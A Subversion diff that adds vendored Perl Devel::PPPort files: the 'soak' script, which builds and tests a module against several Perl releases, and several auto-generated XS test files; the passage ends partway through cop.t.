+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+require 5.006001;
+
+use strict;
+use warnings;
+use ExtUtils::MakeMaker;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use List::Util qw(max);
+use Config;
+
+my $VERSION = '3.36';
+
+$| = 1;
+my %OPT = (
+  verbose => 0,
+  make    => $Config{make} || 'make',
+  min     => '5.000',
+  color   => 1,
+);
+
+GetOptions(\%OPT, qw(verbose make=s min=s mmargs=s@ color!)) or pod2usage(2);
+
+$OPT{mmargs} = [''] unless exists $OPT{mmargs};
+$OPT{min}    = parse_version($OPT{min}) - 1e-10;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+my @GoodPerls = map  { $_->[0] }
+                sort { $a->[1] <=> $b->[1] or $a->[0] cmp $b->[0] }
+                grep { $_->[1] >= $OPT{min} }
+                map  { [$_ => perl_version($_)] }
+                @ARGV ? SearchPerls(@ARGV) : FindPerls();
+
+unless (@GoodPerls) {
+  print "Sorry, got no Perl binaries for testing.\n\n";
+  exit 0;
+}
+
+my $maxlen = max(map length, @GoodPerls) + 3;
+my $mmalen = max(map length, @{$OPT{mmargs}});
+$maxlen += $mmalen+3 if $mmalen > 0;
+
+my $rep = Soak::Reporter->new( verbose => $OPT{verbose}
+                             , color   => $OPT{color}
+                             , width   => $maxlen
+                             );
+
+$SIG{__WARN__} = sub { $rep->warn(@_) };
+$SIG{__DIE__}  = sub { $rep->die(@_)  };
+
+# prime the pump, so the first "make realclean" will work.
+runit("$^X Makefile.PL") && runit("$OPT{make} realclean")
+    or $rep->die("Cannot run $^X Makefile.PL && $OPT{make} realclean\n");
+
+my $tot = @GoodPerls*@{$OPT{mmargs}};
+
+$rep->set(tests => $tot);
+
+$rep->status(sprintf("Testing %d version%s / %d configuration%s (%d combination%s)...\n",
+                     cs(@GoodPerls), cs(@{$OPT{mmargs}}), cs($tot)));
+
+for my $perl (@GoodPerls) {
+  for my $mm (@{$OPT{mmargs}}) {
+    $rep->set(perl => $perl, config => $mm);
+
+    $rep->test;
+
+    my @warn_mfpl;
+    my @warn_make;
+    my @warn_test;
+
+    my $ok = runit("$perl Makefile.PL $mm", \@warn_mfpl) &&
+             runit("$OPT{make}", \@warn_make) &&
+             runit("$OPT{make} test", \@warn_test);
+
+    $rep->warnings(['Makefile.PL' => \@warn_mfpl],
+                   ['make'        => \@warn_make],
+                   ['make test'   => \@warn_test]);
+
+    if ($ok) {
+      $rep->passed;
+    }
+    else {
+      $rep->failed;
+    }
+
+    runit("$OPT{make} realclean");
+  }
+}
+
+exit $rep->finish;
+
+sub runit
+{
+  # TODO -- portability alert!!
+
+  my($cmd, $warn) = @_;
+  $rep->vsay("\n    Running [$cmd]");
+  my $output = `$cmd 2>&1`;
+  $output = "\n" unless defined $output;
+  $output =~ s/^/    > /gm;
+  $rep->say("\n    Output:\n$output") if $OPT{verbose} || $?;
+  if ($?) {
+    $rep->warn("    Running '$cmd' failed: $?\n");
+    return 0;
+  }
+  push @$warn, $output =~ /(warning: .*)/ig;
+  return 1;
+}
+
+sub FindPerls
+{
+  # TODO -- need to decide how far back we go.
+  # TODO -- get list of user releases prior to 5.004
+  # TODO -- does not work on Windows (at least)
+
+  # find versions of Perl that are available
+  my @PerlBinaries = qw(
+    5.000
+    5.001
+    5.002
+    5.003
+    5.004 5.00401 5.00402 5.00403 5.00404 5.00405
+    5.005 5.00501 5.00502 5.00503 5.00504
+    5.6.0 5.6.1 5.6.2
+    5.7.0 5.7.1 5.7.2 5.7.3
+    5.8.0 5.8.1 5.8.2 5.8.3 5.8.4 5.8.5 5.8.6 5.8.7 5.8.8
+    5.9.0 5.9.1 5.9.2 5.9.3
+  );
+
+  print "Searching for Perl binaries...\n";
+
+  # find_perl will send a warning to STDOUT if it can't find
+  # the requested perl, so need to temporarily silence STDOUT.
+  tie *STDOUT, 'NoSTDOUT';
+
+  my $mm = MM->new( { NAME => 'dummy' });
+  my @path = $mm->path;
+  my @GoodPerls;
+
+  for my $perl (@PerlBinaries) {
+    if (my $abs = $mm->find_perl($perl, ["perl$perl"], \@path, 0)) {
+      push @GoodPerls, $abs;
+    }
+  }
+
+  untie *STDOUT;
+
+  print "\nFound:\n", (map "    $_\n", @GoodPerls), "\n";
+
+  return @GoodPerls;
+}
+
+sub SearchPerls
+{
+  my @args = @_;
+  my @perls;
+
+  for my $arg (@args) {
+    if (-d $arg) {
+      my @found;
+      print "Searching for Perl binaries in '$arg'...\n";
+      find({ wanted => sub {
+             $File::Find::name =~ m!perl5[\w._]+$!
+                 and -f $File::Find::name
+                 and -x $File::Find::name
+                 and perl_version($File::Find::name)
+                 and push @found, $File::Find::name;
+           }, follow => 1 }, $arg);
+      printf "Found %d Perl binar%s in '%s'.\n\n", cs(@found, 'y', 'ies'), $arg;
+      push @perls, @found;
+    }
+    else {
+      push @perls, $arg;
+    }
+  }
+
+  return @perls;
+}
+
+sub perl_version
+{
+  my $perl = shift;
+  my $ver = `$perl -e 'print \$]' 2>&1`;
+  return $? == 0 && $ver =~ /^\d+\.\d+/ && $ver >= 5 ? $ver : 0;
+}
+
+sub parse_version
+{
+  my $ver = shift;
+
+  if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+    return $1 + 1e-3*$2 + 1e-6*$3;
+  }
+  elsif ($ver =~ /^\d+\.[\d_]+$/) {
+    $ver =~ s/_//g;
+    return $ver;
+  }
+
+  die "cannot parse version '$ver'\n";
+}
+
+package NoSTDOUT;
+
+use Tie::Handle;
+our @ISA = qw(Tie::Handle);
+
+sub TIEHANDLE { bless \(my $s = ''), shift }
+sub PRINT {}
+sub WRITE {}
+
+package Soak::Reporter;
+
+use strict;
+
+sub cs($;$$) { my $x = shift; my($s, $p) = @_ ? @_ : ('', 's'); ($x, $x == 1 ? $s : $p) }
+
+sub new
+{
+  my $class = shift;
+  bless {
+    tests   => undef,
+    color   => 1,
+    verbose => 0,
+    @_,
+    _cur    => 0,
+    _atbol  => 1,
+    _total  => 0,
+    _good   => [],
+    _bad    => [],
+  }, $class;
+}
+
+sub colored
+{
+  my $self = shift;
+
+  if ($self->{color}) {
+    my $c = eval {
+      require Term::ANSIColor;
+      Term::ANSIColor::colored(@_);
+    };
+
+    if ($@) {
+      $self->{color} = 0;
+    }
+    else {
+      return $c;
+    }
+  }
+
+  return $_[0];
+}
+
+sub _config
+{
+  my $self = shift;
+  return $self->{config} =~ /\S+/ ? " ($self->{config})" : '';
+}
+
+sub _progress
+{
+  my $self = shift;
+  return '' unless defined $self->{tests};
+  my $tlen = length $self->{tests};
+  my $text = sprintf "[%${tlen}d/%${tlen}d] ", $self->{_cur}, $self->{tests};
+  return $self->colored($text, 'bold');
+}
+
+sub _test
+{
+  my $self = shift;
+  return $self->_progress . "Testing "
+         . $self->colored($self->{perl}, 'blue')
+         . $self->colored($self->_config, 'green');
+}
+
+sub _testlen
+{
+  my $self = shift;
+  return length("Testing " . $self->{perl} . $self->_config);
+}
+
+sub _dots
+{
+  my $self = shift;
+  return '.' x $self->_dotslen;
+}
+
+sub _dotslen
+{
+  my $self = shift;
+  return $self->{width} - length($self->{perl} . $self->_config);
+}
+
+sub _sep
+{
+  my $self = shift;
+  my $width = shift;
+  $self->print($self->colored('-'x$width, 'bold'), "\n");
+}
+
+sub _vsep
+{
+  goto &_sep if $_[0]->{verbose};
+}
+
+sub set
+{
+  my $self = shift;
+  while (@_) {
+    my($k, $v) = splice @_, 0, 2;
+    $self->{$k} = $v;
+  }
+}
+
+sub test
+{
+  my $self = shift;
+  $self->{_cur}++;
+  $self->_vsep($self->_testlen);
+  $self->print($self->_test, $self->{verbose} ? "\n" : ' ' . $self->_dots . ' ');
+  $self->_vsep($self->_testlen);
+}
+
+sub _warnings
+{
+  my($self, $mode) = @_;
+
+  my $warnings = 0;
+  my $differ   = 0;
+
+  for my $w (@{$self->{_warnings}}) {
+    if (@{$w->[1]}) {
+      $warnings += @{$w->[1]};
+      $differ++;
+    }
+  }
+
+  my $rv = '';
+
+  if ($warnings) {
+    if ($mode eq 'summary') {
+      $rv .= sprintf " (%d warning%s", cs($warnings);
+    }
+    else {
+      $rv .= "\n";
+    }
+
+    for my $w (@{$self->{_warnings}}) {
+      if (@{$w->[1]}) {
+        if ($mode eq 'detail') {
+          $rv .= "  Warnings during '$w->[0]':\n";
+          my $cnt = 1;
+          for my $msg (@{$w->[1]}) {
+            $rv .= sprintf "    [%d] %s", $cnt++, $msg;
+          }
+          $rv .= "\n";
+        }
+        else {
+          unless ($self->{verbose}) {
+            $rv .= $differ == 1 ? " during " . $w->[0]
+                                : sprintf(", %d during %s", scalar @{$w->[1]}, $w->[0]);
+          }
+        }
+      }
+    }
+
+    if ($mode eq 'summary') {
+      $rv .= ')';
+    }
+  }
+
+  return $rv;
+}
+
+sub _result
+{
+  my($self, $text, $color) = @_;
+  my $sum = $self->_warnings('summary');
+  my $len = $self->_testlen + $self->_dotslen + length($text) + length($sum) + 2;
+
+  $self->_vsep($len);
+  $self->print($self->_test, ' ', $self->_dots, ' ') if $self->{verbose} || $self->{_atbol};
+  $self->print($self->colored($text, $color));
+  $self->print($self->colored($sum, 'red'));
+  $self->print("\n");
+  $self->_vsep($len);
+  $self->print($self->_warnings('detail')) if $self->{verbose};
+  $self->{_total}++;
+}
+
+sub passed
+{
+  my $self = shift;
+  $self->_result(@_, 'ok', 'bold green');
+  push @{$self->{_good}}, [$self->{perl}, $self->{config}];
+}
+
+sub failed
+{
+  my $self = shift;
+  $self->_result(@_, 'not ok', 'bold red');
+  push @{$self->{_bad}}, [$self->{perl}, $self->{config}];
+}
+
+sub warnings
+{
+  my $self = shift;
+  $self->{_warnings} = \@_;
+}
+
+sub _tobol
+{
+  my $self = shift;
+  print "\n" unless $self->{_atbol};
+  $self->{_atbol} = 1;
+}
+
+sub print
+{
+  my $self = shift;
+  my $text = join '', @_;
+  print $text;
+  $self->{_atbol} = $text =~ /[\r\n]$/;
+}
+
+sub say
+{
+  my $self = shift;
+  $self->_tobol;
+  $self->print(@_, "\n");
+}
+
+sub vsay
+{
+  goto &say if $_[0]->{verbose};
+}
+
+sub warn
+{
+  my $self = shift;
+  $self->say($self->colored(join('', @_), 'red'));
+}
+
+sub die
+{
+  my $self = shift;
+  $self->say($self->colored(join('', 'FATAL: ', @_), 'bold red'));
+  exit -1;
+}
+
+sub status
+{
+  my($self, $text) = @_;
+  $self->_tobol;
+  $self->print($self->colored($text, 'bold'), "\n");
+}
+
+sub finish
+{
+  my $self = shift;
+
+  if (@{$self->{_bad}}) {
+    $self->status("\nFailed with:");
+    for my $fail (@{$self->{_bad}}) {
+      my($perl, $cfg) = @$fail;
+      $self->set(config => $cfg);
+      $self->say("    ", $self->colored($perl, 'blue'), $self->colored($self->_config, 'green'));
+    }
+  }
+
+  $self->status(sprintf("\nPassed with %d of %d combination%s.\n",
+                        scalar @{$self->{_good}}, cs($self->{_total})));
+
+  return scalar @{$self->{_bad}};
+}
+
+__END__
+
+=head1 NAME
+
+soak - Test Perl modules with multiple Perl releases
+
+=head1 SYNOPSIS
+
+  soak [options] [perl ...]
+
+  --make=program     override name of make program ($Config{make})
+  --min=version      use at least this version of perl
+  --mmargs=options   pass options to Makefile.PL (multiple --mmargs
+                     possible)
+  --verbose          be verbose
+  --nocolor          don't use colored output
+
+=head1 DESCRIPTION
+
+The F<soak> utility can be used to test Perl modules with
+multiple Perl releases or build options. It automates the
+task of running F<Makefile.PL> and the modules test suite.
+
+It is not primarily intended for cross-platform checking,
+so don't expect it to work on all platforms.
+
+=head1 EXAMPLES
+
+To test your favourite module, just change to its root
+directory (where the F<Makefile.PL> is located) and run:
+
+  soak
+
+This will automatically look for Perl binaries installed
+on your system.
+
+Alternatively, you can explicitly pass F<soak> a list of
+Perl binaries:
+
+  soak perl5.8.6 perl5.9.2
+
+Last but not least, you can pass it a list of directories
+to recursively search for Perl binaries, for example:
+
+  soak /tmp/perl/install /usr/bin
+
+All of the above examples will run
+
+  perl Makefile.PL
+  make
+  make test
+
+for your module and report success or failure.
+
+If your F<Makefile.PL> can take arguments, you may also
+want to test different configurations for your module.
+You can do so with the I<--mmargs> option:
+
+  soak --mmargs=' ' --mmargs='CCFLAGS=-Wextra' --mmargs='enable-debug'
+
+This will run
+
+  perl Makefile.PL
+  make
+  make test
+  perl Makefile.PL CCFLAGS=-Wextra
+  make
+  make test
+  perl Makefile.PL enable-debug
+  make
+  make test
+
+for each Perl binary.
+
+If you have a directory full of different Perl binaries,
+but your module isn't expected to work with ancient perls,
+you can use the I<--min> option to specify the minimum
+version a Perl binary must have to be chosen for testing:
+
+  soak --min=5.8.1
+
+Usually, the output of F<soak> is rather terse, to give
+you a good overview. If you'd like to see more of what's
+going on, use the I<--verbose> option:
+
+  soak --verbose
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut

Added: vendor/perl/dist/dist/Devel-PPPort/t/HvNAME.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/HvNAME.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/HvNAME.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,56 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/HvNAME instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (4) {
+    load();
+    plan(tests => 4);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/MY_CXT.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/MY_CXT.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/MY_CXT.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/MY_CXT instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (3) {
+    load();
+    plan(tests => 3);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/SvPV.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/SvPV.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/SvPV.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,120 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/SvPV instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (49) {
+    load();
+    plan(tests => 49);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/SvREFCNT.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/SvREFCNT.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/SvREFCNT.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/SvREFCNT instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (14) {
+    load();
+    plan(tests => 14);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+for (Devel::PPPort::SvREFCNT()) {
+  ok(defined $_ and $_);
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/Sv_set.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/Sv_set.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/Sv_set.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,71 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/Sv_set instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (5) {
+    load();
+    plan(tests => 5);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/call.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/call.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/call.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,107 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/call instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (52) {
+    load();
+    plan(tests => 52);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+sub eq_array
+{
+  my($a, $b) = @_;
+  join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+  shift;
+  unshift @_, 'b';
+  pop @_;
+  @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+  return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+  shift;
+  shift;
+  unshift @_, 'b';
+  pop @_;
+  @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+    # flags                      args           expected         description
+    [ &Devel::PPPort::G_SCALAR,  [ ],           [ qw(y 1) ],     '0 args, G_SCALAR'  ],
+    [ &Devel::PPPort::G_SCALAR,  [ qw(a p q) ], [ qw(y 1) ],     '3 args, G_SCALAR'  ],
+    [ &Devel::PPPort::G_ARRAY,   [ ],           [ qw(x 1) ],     '0 args, G_ARRAY'   ],
+    [ &Devel::PPPort::G_ARRAY,   [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY'   ],
+    [ &Devel::PPPort::G_DISCARD, [ ],           [ qw(0) ],       '0 args, G_DISCARD' ],
+    [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ],       '3 args, G_DISCARD' ],
+)
+{
+    my ($flags, $args, $expected, $description) = @$test;
+    print "# --- $description ---\n";
+    ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv(*f,  $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+    ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/cop.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/cop.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/cop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,110 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/cop instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
